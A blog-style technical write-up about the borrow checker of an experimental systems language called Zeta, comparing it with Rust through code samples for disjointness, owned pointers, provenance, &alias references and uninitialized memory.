
Keep in mind the 3rd strange reference called &alias and the "shared-XOR-mutable" because &alias is about to change the meaning of "shared-XOR-mutable" as soon as we run into problems that require self-referential types, observers, etc.

'Did you just say "shared-XOR-mutable"? Well, how's that any fun? Didn't you just say that's the entire problem?'

Well, yes, but it's not the core problem.

The core problem is that Rust is not allowing us to exploit disjointness from a compiler native standpoint other than basic proofs like foo.x != foo.y which is nowhere near this borrow checker's limits.

It is safe to say that they are not giving us any breathing room, and this borrow checker will be really hard to just "contribute it" to Rust, nor can we make a compiler that transpiles to Rust (or Rust MIR)

As this is not really a superset even though they have the same "base". it's completely different in almost every aspect. I can map many concepts of Zeta to rust so cleanly that it could literally allow interop, but that requires sacrificing some of my other goals for my language, and that will be a later evaluation.

The rules of the borrow checker

Get prepared, because there's going to be a lot of bending and they all have reasons. "You can't mutably borrow the same struct twice!"

Yes, except you actually can: (From this point, we will write in my language's syntax, not rust)

let mut list: ArrayList<i64> = ArrayList.new();
list.push(1);
list.push(2);
list.push(3);
x := list.get_mut(0); // Okay. This is fine!
y := list.get_mut(1); // THIS IS NOT FI- wait.. no compiler errors?
z := list.get_mut(2); // Wait.. something isn't right.. still nothing? is the compiler broken?
use_value(x); // OH NO!
use_value(y); // THE COMPILER ISN'T WORKING!
use_value(z); // CALL THE AMBULANCE!

Relax. This is valid Zeta code. and the reason is because of disjointness, and it's the subsystem that's secretly powering more than half of all Zeta's expressiveness power.

"You can't mutably borrow this because it is already immutably borrowed!" Yes that's true, unless you mutably borrow something in the contents itself. The item stored in the collection can be mutated. The collection itself cannot, so the collection can be immutably borrowed while something in the collection itself can be mutated.

// Assume a pre-existing list and pre-existing values and pre-existing Vec3f
let x: &mut Vec3f = list.get_mut(n);
*x.x = 2;
// Rust: cannot borrow vec as immutable because it is also borrowed as mutable. immutable borrow occurs here
// Zeta: Oh yeah that's fine!
let len = list.len();
*x.y = 4;

"Lifetime doesn't live long enough" Yes, and I don't actually have a rebuttal for this.. that's why I completely reinvented them.

We'll first talk about disjointness.

Disjointness

Disjointness is when the compiler can prove under any circumstances that the address of X does not equal the address of Y.

Back to our example:

x := list.get_mut(0);
y := list.get_mut(1);

Here, the compiler has already looked at how get_mut works and cached it, realizes the memory address depends on the argument we gave it, it would be capable of reasoning about pointer arithmetic directly, even if it doesn't know the result of the arithmetic, it knows the formula.

(In the case of ArrayList, it does something much better than using pointers directly)

So if we were to prove i != j then it would work. There are several ways to do that:

  • Constants
  • Suggestive loop indexing
  • Runtime guards
  • Arithmetic
  • Unsafe assertions (unimplemented in the compiler)

Constants:

x := list.get_mut(0);
y := list.get_mut(1); // Pass

Suggestive loop indexing:

for i in 0..n {
    for j in (i + 1)..n {
        x := list.get_mut(i);
        y := list.get_mut(j); // Pass
    }
}

Runtime guards:

i := 1;
j := get_index_from_ffi();
if (i != j) {
    x := list.get_mut(i);
    y := list.get_mut(j); // Pass
}

Arithmetic:

i := get_index_from_ffi();
x := list.get_mut(i);
y := list.get_mut(i + n); // pass if `n` is proven to be non-zero, if not, you need to do some sort of arithmetic, guard, etc

and lastly, unsafe assertions:

i := 1;
j := get_index_from_ffi();

unsafe { $compiler_assert(i != j); } // $function means a compiler intrinsic, in this case, we have just told the borrow checker and optimizer to assume `i != j`. This can backfire if they are equal, but that's why it's `unsafe`
x := list.get_mut(i);
y := list.get_mut(j);

If you do somethingn incorrectly, such as say, this:

let mut list: ArrayList<i64> = ArrayList.new();
list.push(1);
list.push(2);
list.push(3);
let x: &mut i64 = list.get_mut(0);
let y: &mut i64 = list.get_mut(0);
let z: &mut i64 = list.get_mut(2);
*x = 0;
*y = 0;

It gives a real compile time error:

error: cannot borrow as mutable: already mutably borrowed elsewhere (via list.data)
 1685 |     list.push(2);
 1686 |     list.push(3);
 1687 |     let x: &mut i64 = list.get_mut(0);
 1688 |     let y: &mut i64 = list.get_mut(0);
                                          ^~
 1689 |     let z: &mut i64 = list.get_mut(2);
 1690 |     *x = 0;

(Don't mind the line numbers, that's just good testing)

Interestly, if you were to delete *x = 0; it would compile, because NLL just erases it. if *y = 0; was deleted, it did not compile. if we changed the order of the derefs, it did not compile. If we removed it completely, it compiled. So NLL is fully implemented for the language, which is great!

Combined with "multi place" references (only official for functions for now)

func x(vec3f: Vec3f.{&mut x, &mut y, &z})

Can say that it mutates x and y, but only reads from z . This is a core dependency of many of our safety features like &alias and uninit which would otherwise be able to unsafely bypass and create memory bugs without using unsafe ! (We will explain this later)

It also has a really special ability, and it's the ability to directly reason about INDEXES. Meaning the borrow checker can directly benefit from:

func push_within_capacity(this.{&mut this.data[this.data.len], &mut this.data.len}) {
    if (this.len == this.cap) {
        debug.panic(...); // At the time of writing this it's called `debug.debug_panic`. If you are reading this, there is a chance it has changed to `panic`
    }

    unsafe {
        // write_uninit here means that there will be no drop. `write` would do a check, assume it's contiguous and execute the drop for what it believes is already an existng value.
        this.data.write_uninit(this.data.len, value); // this.data is an owned slice. it is REALLY important to the safety and ergonomics of Zeta
        this.data.len += 1;
    }
}

Note: this.data is an owned slice. We will get to that later in this document.

Which allows us to do something like this:

list := ArrayList::new();
list.push(1);
let x = list.get(0);
list.push_within_capacity(2);
use_value(x); // Pass! As it's proven that `push_within_capacity` only writes `this.data[this.data.len]`. there's a guarantee it does not write a new pointer to `this.data` itself like `list.push)

This subsystem can singlehandedly make or break the invention. in group borrowing's case, group borrowing the mental model is trying to answer what group does a reference belong to while simultaneously answering if that group still valid. In Zeta, it's more like answering the exact memory regions you are allowed to access rather than restricting exclusive mutations to memory regions that are owned by the same big memory region, but are not equal.

Owned pointers

Owned pointers and slices are basically how they sound. They are owned, which means they are subject to move semantics. But it's a pointer, so the pointer is in charge of being moved and dropped, and it's usually owned by the resource that created it.

For example, you'd create an owned pointer like this:

let node: ^Node<T> = this.alloc.new<Node<T>>(Node<T> {
    value: value,
    prev: null,
    next: null, // Don't worry. The language has null safety, it's just a primitive instead of rust's Option
});

The main benefit is that it is automatically dropped while being always as big as a pointer, without creating entirely new library types.

Back to this example:

let node: ^Node<T> = this.alloc.new<Node<T>>(Node<T> {
    value: value,
    prev: null,
    next: null, // Don't worry. The language has null safety, it's just a primitive instead of rust's Option
});

This would be the equivalent of this rust code:

let node: Box<Node<T>> = Box::new(Node<T> {
    value: value,
    prev: None,
    next: None,
});

Except, we're using an allocator directly, not a Box that hides it away. This means that it's easier to use custom allocators:

let node: ^Node<T> = this.bump.new<Node<T>>(Node<T> {
    value: value,
    prev: null,
    next: null,
});

This would be the equivalent of this rust code:

let node: Box<Node<T>, &Arena> = Box::new_in(Node<T> {
    value: value,
    prev: None,
    next: None,
}, &self.arena);

Importantly, the compiler is very smart, so smart that it can infer that: ^Node<T> can mean ^this.bump Node<T> or ^this.alloc Node<T> . this.bump after ^ would be the equivalent of Zeta lifetimes. and they have several qualities over rust-like lifetimes, they are called provenance (meaning: origin of place). But that is to be explained later in the document.

(the difference between a safe and unsafe pointer is that a safe pointer is non-null and aligned but not borrow checked, and an unsafe pointer is a C pointer, they are both unsafe to deref but they have different guarantees.).
And then we know what to do when the owned pointer is dropped.

In the case of a memory allocated Player then the player is dropped THEN freed from memory, as for the mutex, it is not dropped nor is it freed. Only the lock is dropped.

Note: Owned pointers and owned slices are zero-cost other than the fact that they get implicitly dropped, they do not affect memory usage or performance any differently than a regular pointer, and they can get enum niche optimizations and "null" optimizations

Owned slices

Let's take a look at an owned slice:

struct ArrayList<T, A: Allocator = Mallocator> {
    data: ^this.alloc []T, // uninferred `alloc`
    alloc: A,
}

impl<T, A: Allocator = Mallocator> ArrayList<T, A> {
    func new(): ArrayList<T, Mallocator> {
        let alloc: Mallocator = Mallocator {};
        return ArrayList<T, Mallocator> {
            data: alloc.calloc<T>(16),
            alloc,
        };
    }

    ...
}

calloc itself is safe because the pointer it drops at the end of ArrayList with no Drop implementation required to specifically free the pointer, the compiler is really helpful when it comes to guiding you and helping you and knowing what you want.

But owned slices are very tricky actually, because it's almost impossible to make them genuinely safe when using them for a contiguous list other than making a safe abstraction.

Mainly because it's very hard to prove whether something exists or not, you have to fill that invariant. Which is why write_uninit would be needed here:

func push_within_capacity(this.{&mut this.data[this.len], &mut this.len}) {
    if (this.len == this.cap) {
        debug.panic(...);
    }

    unsafe {
        this.data.write_uninit(this.data.len, value);
        this.data.len += 1;
    }
}

Here, we specifically do not want to call a drop, if we used this.data[this.data.len] = value; the compiler will refuse it if you didn't prove under any circumstances that there may be a real value there.

mutation of this.data.len is also unsafe, because well.. that's a logic bug, and it indirectly causes memory bugs, but it's still a logic bug at the end of the day. and it's very hard to prove logic bugs are actually bugs because the compiler only knows what's definitely safe and what's not, so that's unsafe.

It also comes with three implicit fields , not two like a borrowed slice (ptr, len that can be accessed but not mutated). an owned slice comes with ptr , len (unsafe to mutate) and cap (the amount of allocated memory in there, not mutable)

The difference is although, it's a lot easier to use an owned slice to do what you want than a pointer, because you don't need to handwrite pointer arithmetic, deal with unsafe allocators or write your own drop implementations.

Provenance

Provenance is Zeta's solution to all the horrible things we talked about Rust's lifetimes.

It does not just say how long a reference/owned pointer is allowed to live, it also says how a certain reference/owned pointer is owned.

For example, if you look at the error message from a while back: cannot borrow as mutable: already mutably borrowed elsewhere (via list.data)

list.data is the provenance that x := list.get_mut(0); has to go through, so x has the same maximum lifetime of as list.data , not list , in other words, x can be uninferred to &list.data mut i64 .

This has a few benefits:

Can be inferred a lot easier

This allows the provenance of a reference or an owned pointer to be determined by how it is used, not by its general lifetime, that way, you know if list.data dies before the reference itself dies instead of some arbitrary 'a that may or may not be inferred by the mercy of the Rust compiler.
If we go to peek the LinkedList's declaration, we can find this piece of code:

struct Node<T> {
    value: T,
    prev: ?&alias Node<T>, // Am I tripping? or does it not have any lifetimes?
    next: ?^Node<T>,
}

struct LinkedList<T, A: Allocator = Mallocator> {
    head: ?^Node<T>,
    tail: ?&alias Node<T>,
    len: usize,
    alloc: A,
}

It's easy to infer the lifetime of the reference from this code:

impl<T, A: Allocator = Mallocator> LinkedList<T, A> {
    func new(): LinkedList<T, Mallocator> {
        let alloc: Mallocator = Mallocator {};
        return LinkedList<T, Mallocator> {
            head: null,
            tail: null,
            len: 0,
            alloc,
        };
    }

    ...
}

And then:

this.head = node;
this.tail = &alias *this.head;

No matter what allocator you give, it's all the same anyways, the allocator owns head and next , and tail / prev specifically borrows that data. This is what I mean when I say provenance can be inferred based on the usage of the references or how you actually create those references/owned pointers

Better diagnostics

I mean come on.. which diagnostic will you want to see? "Lifetime does not live long enough" with some lifetime hints?

or: "this.alloc does not live as long as this " with locations to when it's dropped, the field and the associated function that deals with this.alloc improperly.

Safe to say unless you are masochist and like pain and suffering, you want the latter.

Sometimes, Rust can give good diagnostics in the case of:

fn main() {
    let r;

    {
        let x = 42;
        r = &x;
    }

    println!("{r}");
}

giving you:
error[E0597]: x does not live long enough

It's usually a lot more complex though, as real software are a lot less trivial to reason about.

Owned pointers and owned slices depend on it

Owned pointers and slices depend on the provenance (but specifically an owner provenance) to know if that type can be used to allocate the owned pointer and then drop the owned pointer automatically.

So even if we were to add real lifetimes like Rust for any reason, this would still exist. it's just that provenance (till now) does its lifetime work so good that it could theoretically rust-like lifetimes could be deemed useless for most cases (This is a very bold claim for something theoretical, and would require real software to be built into Zeta to stress test just how true this fact is)

&alias

&alias is a little different than the "base" we talked about.

remember when I said ' &alias is about to change the meaning of "shared-XOR-mutable" really quick', well, &alias allows you to hold more than 1 mutable alias to the same data.

The problem with all that we discussed with shared-XOR-mutable memory paradigm is that we still have no real way to model many kinds of graphs.

If we go back to the rust DoublyLinkedList example we can find this:

pub fn push_back(&mut self, item: T) {
    let node = Rc::new(RefCell::new(ListNode::new(item)));
    if let Some(prev_tail) = self.tail.take() {
        prev_tail.borrow_mut().next = Some(Rc::clone(&node));
        node.borrow_mut().prev = Some(prev_tail);
        self.tail = Some(node);
        self.size += 1;
    } else {
        self.head = Some(Rc::clone(&node));
        self.tail = Some(node);
        self.size = 1;
    }
}

Specifically, we can find that there's a chance that self.head == self.tail , meaning &mut is actually incompatible, because the stable linked list requires that the nodes might not be exclusive.

How do we fix this without reimplementing rust interior mutability and refcounting that interior mutability anyway OR using pointers of any kind? That would be &alias . Which is not exclusive but you can mutate through it.

Which means:

x := &alias arr[0];
y := &alias arr[0];

is actually valid and will compile. It obviously comes with the downsides that it won't get the noalias guarantees and you likely won't be able to share it across threads at all unless if T in &alias T is Send + Sync.

"Well I have a really good example of why this is actually BAD and not memory safe"

I know, I know. You're about to argue how this is basically the literal definition of an UnsafeCell , but it's not.

First of all, &alias is incompatible with an exclusive reference (due to exclusivity) and with an immutable reference (to retain immutability guarantees safely), by opting into &alias you specifically agree that anything can mutate your stored value in any way. and that can make logic bugs easier to create, but its benefits vastly outweigh that slightly bigger possibility, in an addition, it's still completely memory safe, you won't be able to dangle it, move the value it references, or make it do some sort of UB

"Actually, you can dangle it!"

How?

A dangling possibility

This skeptical user has raised a really smart question. How can this:

let x = vec.get_alias(1);
vec.push(5);
// Can you use x here because it has no guarantee of exclusivity?

Be safe?

Well simple. vec.push would require a &mut, and &alias is incompatible with &mut and &, and &mut is incompatible with any reference to the same memory. So you can only have one reference

That alone actually still allows UB, because a not-so-friendly programmer can make their own collection with push taking in an &alias.. so surely that's unsafe right?

Yes! but not really because of an important subsystem that prevents this.. the core of this entire borrow checker

How disjointness singlehandedly fixes this indirectly

It actually doesn't let you. And it gives you this:

error: the reference's lifetime has ended because it was invalidated (via value)
 2012 |     // The fact that `value` is &alias rather than &mut must NOT allow
 2013 |     // the dangling reference to be used.
 2014 |     //
 2015 |     let stale: i64 = *value;
                             ^~~~~~
 2016 |
 2017 |     return 0;

Let's demonstrate:

func test_array_list_alias_invalidation_after_push(): i64 {
    io.stdout().writeln("=== Running: test_array_list_alias_invalidation_after_push ===");

    let mut list: ArrayList<i64> =
        ArrayList.with_capacity(2);

    list.push(10);
    list.push(20);

    // get_mut() returns &alias i64.
    // This reference is allowed to coexist with other shared accesses,
    // but it must not survive an operation that can invalidate it.
    let value: &alias i64 = list.get_mut(0);

    io.stdout().writeln("[PASS] obtained &alias reference");

    // This push exhausts the capacity and causes ArrayList to grow.
    // The old allocation is therefore invalidated.
    list.push(30);

    io.stdout().writeln("[PASS] push() completed");

    // EXPECTED BORROW-CHECKER ERROR:
    // `value` refers into the old ArrayList allocation, which was
    // invalidated by push().
    //
    // The fact that `value` is &alias rather than &mut must NOT allow
    // the dangling reference to be used.
    //
    let stale: i64 = *value;

    return 0;
}

To explain this thoroughly, we should go back to multi-place references.

Remember when we said we had "multi-place references" like this.{&mut this.data[this.len], &mut this.data.len} ? Well, the compiler can actually infer that into &mut this . If we were to do: &alias this then the borrow checker would expand this to " this.{&alias this.data, &alias this.data.len} "

and guess what, if you invalidate &alias this.data , the compiler catches that you can do &alias this.data[i] , that would be invalidated.

That actually fixes the problem. And specifically it's because the borrow checker will infer it.

And you can't actually lie because the type checker and borrow checker work together to see if what you did is correct, so that syntax can work just for the sake of explicitness, and any potential uses that an API or a closure/lambda (where we can't see its body, so we have to rely on the signature) will need

So no, &alias is safe. And if we remove this test, the same LinkedList that fully depends on this, works completely fine!

the LinkedList and implementation details

If you've reached this far, you seem interested in how this all picks up.

Here's an example (and as of the writing of this document, it is currently the main LinkedList in the standard library)

package zeta::utils::linked_list;

import zeta::alloc::allocator.Allocator;
import zeta::utils::mallocator.Mallocator;
import zeta::io;

struct Node<T> {
    value: T,
    prev: ?&alias Node<T>,
    next: ?^Node<T>,
}

struct LinkedList<T, A: Allocator = Mallocator> {
    head: ?^Node<T>,
    tail: ?&alias Node<T>,
    len: usize,
    alloc: A,
}

impl<T, A: Allocator = Mallocator> LinkedList<T, A> {
    func new(): LinkedList<T, Mallocator> {
        let alloc: Mallocator = Mallocator {};
        return LinkedList<T, Mallocator> {
            head: null,
            tail: null,
            len: 0,
            alloc,
        };
    }

    func push_back(&mut this, value: T) {
        let node: ^Node<T> = this.alloc.new<Node<T>>(Node<T> {
            value: value,
            prev: null,
            next: null,
        });

        this.len += 1;
        if (this.tail == null) {
            this.head = node;
            this.tail = &alias *this.head;
            return;
        }

        let tail: ?&alias Node<T> = this.tail;

        node.prev = tail;
        tail.next = node;
        this.tail = tail.next;
    }

    func remove_back(&mut this): ?T {
        let tail: ?&alias Node<T> = this.tail;

        if (tail == null) {
            return null;
        }

        let prev: ?&alias Node<T> = tail.prev;

        this.len -= 1;
        if (prev != null) {
            let node: ?^Node<T> = $replace(prev.next, null);
            this.tail = prev;

            if (node == null) {
                $unreachable();
            }
            return node.value;
        } else {
            let node: ?^Node<T> = $replace(this.head, null);
            this.tail = null;

            if (node == null) {
                $unreachable();
            }
            return node.value;
        }
    }
}

Let's compare the 2 languages in how they implement the same thing:

use std::{cell::RefCell, rc::Rc};

struct ListNode<T> {
    item: T,
    next: Option<Rc<RefCell<ListNode<T>>>>,
    prev: Option<Rc<RefCell<ListNode<T>>>>,
}

impl<T> ListNode<T> {
    fn new(item: T) -> Self {
        Self {
            item,
            next: None,
            prev: None,
        }
    }
}

#[derive(Default)]
pub struct DoublyLinkedList<T> {
    head: Option<Rc<RefCell<ListNode<T>>>>,
    tail: Option<Rc<RefCell<ListNode<T>>>>,
    size: usize,
}

impl<T> DoublyLinkedList<T> {
    pub fn new() -> Self {
        Self {
            head: None,
            tail: None,
            size: 0,
        }
    }

    pub fn push_back(&mut self, item: T) {
        let node = Rc::new(RefCell::new(ListNode::new(item)));
        if let Some(prev_tail) = self.tail.take() {
            prev_tail.borrow_mut().next = Some(Rc::clone(&node));
            node.borrow_mut().prev = Some(prev_tail);
            self.tail = Some(node);
            self.size += 1;
        } else {
            self.head = Some(Rc::clone(&node));
            self.tail = Some(node);
            self.size = 1;
        }
    }

    pub fn pop_back(&mut self) -> Option<T> {
        self.tail.take().map(|prev_tail| {
            self.size -= 1;
            match prev_tail.borrow_mut().prev.take() {
                Some(node) => {
                    node.borrow_mut().next = None;
                    self.tail = Some(node);
                }
                None => {
                    self.head.take();
                }
            }
            Rc::try_unwrap(prev_tail).ok().unwrap().into_inner().item
        })
    }
}

impl<T> Drop for DoublyLinkedList<T> {
    fn drop(&mut self) {
        while let Some(node) = self.head.take() {
            let _ = node.borrow_mut().prev.take();
            self.head = node.borrow_mut().next.take();
        }
        self.tail.take();
    }
}

As you can see, they are both fundamentally different. To a regular human, Rust looks more concise and more per-line dense. That's honestly the fault of Zeta, as it's still an experimental language and so has less polish on how good the diagnostics and generic ergonomics (not the borrow checker ergonomics, the borrow checker is fully implemented and I'll go in depth on that.), this will be improved later with better expressions, 1 line null handling, and more.

But if we focus on what the language does exactly, there's a massive difference and it's not even close.

First, Zeta's LinkedList has no Drop implementation. That is actually intentional, as Zeta knows how to drop self-referential types, as per this test:

struct DroppableItem {
    tag: str,
}

impl DroppableItem by Drop {
    func drop(mut this): void {
        let mut out: FileWriter = io.stdout();
        out.writeln("  -> [DROP] ArrayList DroppableItem");
        out.writeln("  tag:");
        out.writeln(this.tag);
    }
}

func test_linked_list_dropping_test(): i64 {
    io.stdout().writeln("=== Running: test_linked_list_dropping_test ===");

    let mut list: LinkedList<DroppableItem> = LinkedList.new();

    list.push_back(DroppableItem { tag: "clear_one" });
    list.push_back(DroppableItem { tag: "clear_two" });
    list.push_back(DroppableItem { tag: "clear_three" });

    io.stdout().writeln("Should see 3 drops after this println");

    return 0;
} // It's ran in `main` afterwards.
=== Running: test_linked_list_dropping_test ===
Should see 3 drops after this println
  -> [DROP] ArrayList DroppableItem
  tag:
clear_one
  -> [DROP] ArrayList DroppableItem
  tag:
clear_two
  -> [DROP] ArrayList DroppableItem
  tag:
clear_three

So the Drop implementation works correctly, if you notice the 2 remove_back/pop_back implementations though:

pub fn pop_back(&mut self) -> Option<T> {
    self.tail.take().map(|prev_tail| {
        self.size -= 1;
        match prev_tail.borrow_mut().prev.take() {
            Some(node) => {
                node.borrow_mut().next = None;
                self.tail = Some(node);
            }
            None => {
                self.head.take();
            }
        }
        Rc::try_unwrap(prev_tail).ok().unwrap().into_inner().item
    })
}

func remove_back(&mut this): ?T {
    let tail: ?&alias Node<T> = this.tail;

    if (tail == null) {
        return null;
    }

    let prev: ?&alias Node<T> = tail.prev;

    this.len -= 1;
    if (prev != null) {
        let node: ?^Node<T> = $replace(prev.next, null);
        this.tail = prev;

        if (node == null) {
            $unreachable(); // This panics btw.
        }
        return node.value;
    } else {
        let node: ?^Node<T> = $replace(this.head, null);
        this.tail = null;

        if (node == null) {
            $unreachable();
        }
        return node.value;
    }
}

There's a clear winner. The Rust version goes through reference counting, runtime checks from RefCell (because it's validated at RUNTIME. not compile-time like &alias ), and to be fair, Zeta here is a lot more explicit about what it does, it feels less like an easier Rust and more like a memory safe C, if that makes sense, so already on paper, if they were both compiled with LLVM, Zeta should be faster, because it can exploit more optimizations (due to disjointness), require less runtime checks and still get noalias on every single &mut . Here there's no noalias for &alias because.. well, it just isn't noalias. Lol

There's also a massive difference between the fields:

next: Option<Rc<RefCell<ListNode<T>>>>,
prev: Option<Rc<RefCell<ListNode<T>>>>,
prev: ?&alias Node<T>,
next: ?^Node<T>,

way shorter. It's also obvious what the relationships are, the head and next own everything, prev and tail borrow, and life goes on!

Async borrow checking.

Async borrow checking (as of this blog) is the same as Rust. You need Send and Sync , &alias requires you to be &alias , and threads that are unscoped take references with &static provenance or owned values, or Arc .

But async borrow checking benefits from our disjointness system like here:

func test_scope_four_disjoint_slices(): i64 {
    io.stdout().writeln("=== Running: test_scope_disjoint_slices ===");

    let mut level: Level = Level { tiles: undefined };
    let N: i64 = 64;

    let done: i64 = scope(func(s: &alias Scope) {
        let a: &mut []Tile = &mut level.tiles[0..<(N / 4)];
        let b: &mut []Tile = &mut level.tiles[(N / 4)..<(N / 2)];
        let c: &mut []Tile = &mut level.tiles[(N / 2)..<(3 * N / 4)];
        let d: &mut []Tile = &mut level.tiles[(3 * N / 4)..<N];

        s.spawn(func() {
            fill_tiles(a, 1);
            return 0;
        });

        s.spawn(func() {
            fill_tiles(b, 2);
            return 0;
        });

        s.spawn(func() {
            fill_tiles(c, 3);
            return 0;
        });

        s.spawn(func() {
            fill_tiles(d, 4);
            return 0;
        });

        return 0;
    });

    // The scope has joined all four threads.
    if (level.tiles[0].kind != 1 || level.tiles[15].kind != 1) {
        io.stdout().writeln("[FAIL] first quarter not filled");
        return 1;
    }

    if (level.tiles[16].kind != 2 || level.tiles[31].kind != 2) {
        io.stdout().writeln("[FAIL] second quarter not filled");
        return 2;
    }

    if (level.tiles[32].kind != 3 || level.tiles[47].kind != 3) {
        io.stdout().writeln("[FAIL] third quarter not filled");
        return 3;
    }

    if (level.tiles[48].kind != 4 || level.tiles[63].kind != 4) {
        io.stdout().writeln("[FAIL] fourth quarter not filled");
        return 4;
    }

    io.stdout().writeln("[PASS] scope with four disjoint &mut slices");
    return 0;
}

Which compiles perfectly fine, but if you try to be sneaky by changing &mut level.tiles[(N / 2)..<(3 * N / 4)] of c to &mut level.tiles[(N / 2)..<(4 * N / 4)] , the borrow checker does catch it. If you violate the borrow checker, you may get errors for this code:

func test_scope_disjoint_slices(): i64 {
    io.stdout().writeln("=== Running: test_scope_disjoint_slices ===");

    let mut level: Level = Level { tiles: undefined };

    let done: i64 = scope(func(s: &alias Scope) {
        let a: &mut []Tile = &mut level.tiles[0..=16];
        let b: &mut []Tile = &mut level.tiles[16..=32];

        s.spawn(move func() { fill_tiles(a, 1); return 0; });
        s.spawn(move func() { fill_tiles(b, 2); return 0; });

        return 0;
    });

    // The scope has joined both threads, so `level` is usable again.
    if (level.tiles[0].kind != 1 || level.tiles[15].kind != 1) {
        io.stdout().writeln("[FAIL] first half not filled by thread a");
        return 1;
    }
    if (level.tiles[16].kind != 2 || level.tiles[31].kind != 2) {
        io.stdout().writeln("[FAIL] second half not filled by thread b");
        return 2;
    }
    if (level.tiles[32].kind != 0) {
        io.stdout().writeln("[FAIL] untouched region was modified");
        return 3;
    }

    io.stdout().writeln("[PASS] scope with disjoint &mut slices");
    return 0;
}

Like so:

error: cannot borrow as mutable: already mutably borrowed elsewhere at line number 3333 at column 52 inside of file named ./src/input.zeta
 3330 |
 3331 |     let done: i64 = scope(func(s: &alias Scope) {
 3332 |         let a: &mut []Tile = &mut level.tiles[0..=16];
 3333 |         let b: &mut []Tile = &mut level.tiles[16..=32];
                                                          ^~~
 3334 |
 3335 |         // `move` is required: `a` and `b` are locals of this closure, and the

error: cannot prove these two accesses don't overlap (via b) at line number 3338 at column 42 inside of file named ./src/input.zeta
 3335 |         ...
 3336 |         ...
 3337 |         s.spawn(move func() { fill_tiles(a, 1); return 0; });
 3338 |         s.spawn(move func() { fill_tiles(b, 2); return 0; });
                                                ^~
 3339 |
 3340 |         return 0;


error Found 2 errors

and yes, if I were to do:

let a: &mut []Tile = &mut level.tiles[0..=16];
let b: &mut []Tile = &mut level.tiles[17..=32];

or

let a: &mut []Tile = &mut level.tiles[0..=16];
let b: &mut []Tile = &mut level.tiles([16 + 1)..=32];

it compiles, while 17 - 1 gives you this:

error: cannot borrow as mutable: already mutably borrowed elsewhere at line number 3333 at column 58 inside of file named ./src/input.zeta
 3330 |
 3331 |     let done: i64 = scope(func(s: &alias Scope) {
 3332 |         let a: &mut []Tile = &mut level.tiles[0..=16];
 3333 |         let b: &mut []Tile = &mut level.tiles[(17 - 1)..=32];
                                                                ^~~
 3334 |
 3335 |         // `move` is required: `a` and `b` are locals of this closure, and the

error: cannot prove these two accesses don't overlap (via b) at line number 3338 at column 42 inside of file named ./src/input.zeta
 3335 |         ...
 3336 |         ...
 3337 |         s.spawn(move func() { fill_tiles(a, 1); return 0; });
 3338 |         s.spawn(move func() { fill_tiles(b, 2); return 0; });
                                                ^~
 3339 |
 3340 |         return 0;


error Found 2 errors

Bonus: Uninitialized memory

Before continuing, know that uninitialized memory does not equal null memory in Zeta.

[ T ][ T ][ T ][ ? ][ ? ][ ? ][ ? ] ...
  ^    ^    ^
 valid values

The first three locations contain actual T values.

The remaining locations are allocated memory (it does not matter whether it's on the stack or heap), but there is no T there yet. This is unlike nullables in Zeta because this is not checked. If you access an uninitialized variable, then it's UB.

This is useful for things like ArrayList; we don't want to construct 16 values just because the list has capacity for 16 values, which can add additional memory safety for no reason.

But it has its problems, and we'll first talk about the problems that can't really be solved:

Take this ArrayList declaration for example:

struct ArrayList<T> {
    data: ^this.alloc []T,
    len: usize,
}

and:

list.push(value);

then eventually we need to do something equivalent to:

data[len] = value;
len += 1;

But there is an important problem.

A normal assignment may assume that there's an already existing value and therefore the compiler would generate a drop call.. except there's no existing value, if you were to be able to inflict pain on someone by bonking them in the air with nothing in your hand, you would have to do a lot of impossible explanations on how that's physically possible.

So in summary, treating this as an ordinary assignment would be incorrect.

Putting uninit can make it more complex than manually handling the invariant ourselves, because compared to something like:

func from_str(path: str): CPathBuf {
    let bytes: &[]u8 = path.as_bytes();
    if (bytes.len >= 4096) {
        debug.debug_panic("path exceeds max length");
    }
    let mut cbuf: CPathBuf = CPathBuf { buf: uninit, len: bytes.len };
    for (let i: usize = 0; i < bytes.len; i += 1) {
        cbuf.buf[i] = bytes[i];
    }
    cbuf.buf[bytes.len] = 0;
    return cbuf;
}

Where uninit here can be trivially reasoned about, sometimes it can be really hard to do it while trying to assume an ArrayList can handle heavy conditionals, arbitrary non-deterministic mutation (you can't predict when a User will execute a command that appends some data to an ArrayList), and more risks, when we could just add 1 unsafe method (the write_uninit function) and manually handle that the invariant is that the owned slice (which theoretically is an unsafe uninit array) is contiguous, which means there can't be something like:

[ T ][ T ][ T ][ ? ][ T ][ ? ][ ? ] ...
  ^    ^    ^         ^
 valid values

Which would break the whole purpose of an ArrayList.

But if we exclude that case, then what's the purpose of me including this section?

Well, if we go back to our example:

func from_str(path: str): CPathBuf {
    let bytes: &[]u8 = path.as_bytes();
    if (bytes.len >= 4096) {
        debug.debug_panic("path exceeds max length");
    }
    let mut cbuf: CPathBuf = CPathBuf { buf: uninit, len: bytes.len };
    for (let i: usize = 0; i < bytes.len; i += 1) {
        cbuf.buf[i] = bytes[i];
    }
    cbuf.buf[bytes.len] = 0;
    return cbuf;
}

You might notice that.. this actually needs uninit memory, so what is uninit? It's uninitialized memory!

in C talk, this:

equals this:

And if you were to access x in C, it is UB. It may straight up segfault, read nothing, and even open up security vulnerabilities if done wrong!

But you can't use uninit like this in Zeta, while still being really ergonomic in the safe case. And it's all thanks to the borrow checker!

How this borrow checker model helps me safely define uninit .

First of all, the main limitation of uninit is that you can't access a piece of memory of X before it's been initialized. That seems fair, but exactly how does it work?

Let's see:

let x: Vec3f = uninit; // Assuming Vec3f has 3 f32 fields.

// This does not compile
//use(x);

x.x = 5.0f;
// This still does not compile
//use(x);
use_f32(x.x); // Pass

// This also does not compile
//use_f32(x.z);

x.y = 5.0f;
x.z = 5.0f;

use_f32(x.y); // Pass
use_f32(x.z); // Pass
use(x); // Pass

It works at a field-level for structs, and a whole-value for numbers. But it can also work for arrays:

let mut arr: [3]DroppableItem = uninit;

// Compiler knows that no existing value exists.
arr[0] = DroppableItem { tag: "arr_0_original" };
// Compiler knows that no existing value exists.
arr[1] = DroppableItem { tag: "arr_1_original" };
// Compiler knows that no existing value exists.
arr[2] = DroppableItem { tag: "arr_2_original" };


// Compiler knows that an existing value DOES exist.
arr[0] = DroppableItem { tag: "arr_0_replacement" };

// Here, we proved all of 0..<3 is initialized. So thiss is valid 
let s: &mut []DroppableItem = &mut arr[0..<3];

// The compiler will always assume that there are old values in a slice.
s[1] = DroppableItem { tag: "arr_1_via_slice" };

This also works for loops:

let mut cbuf: CPathBuf = CPathBuf { buf: uninit, len: bytes.len };
for (let i: usize = 0; i < bytes.len; i += 1) {
    cbuf.buf[i] = bytes[i];
}
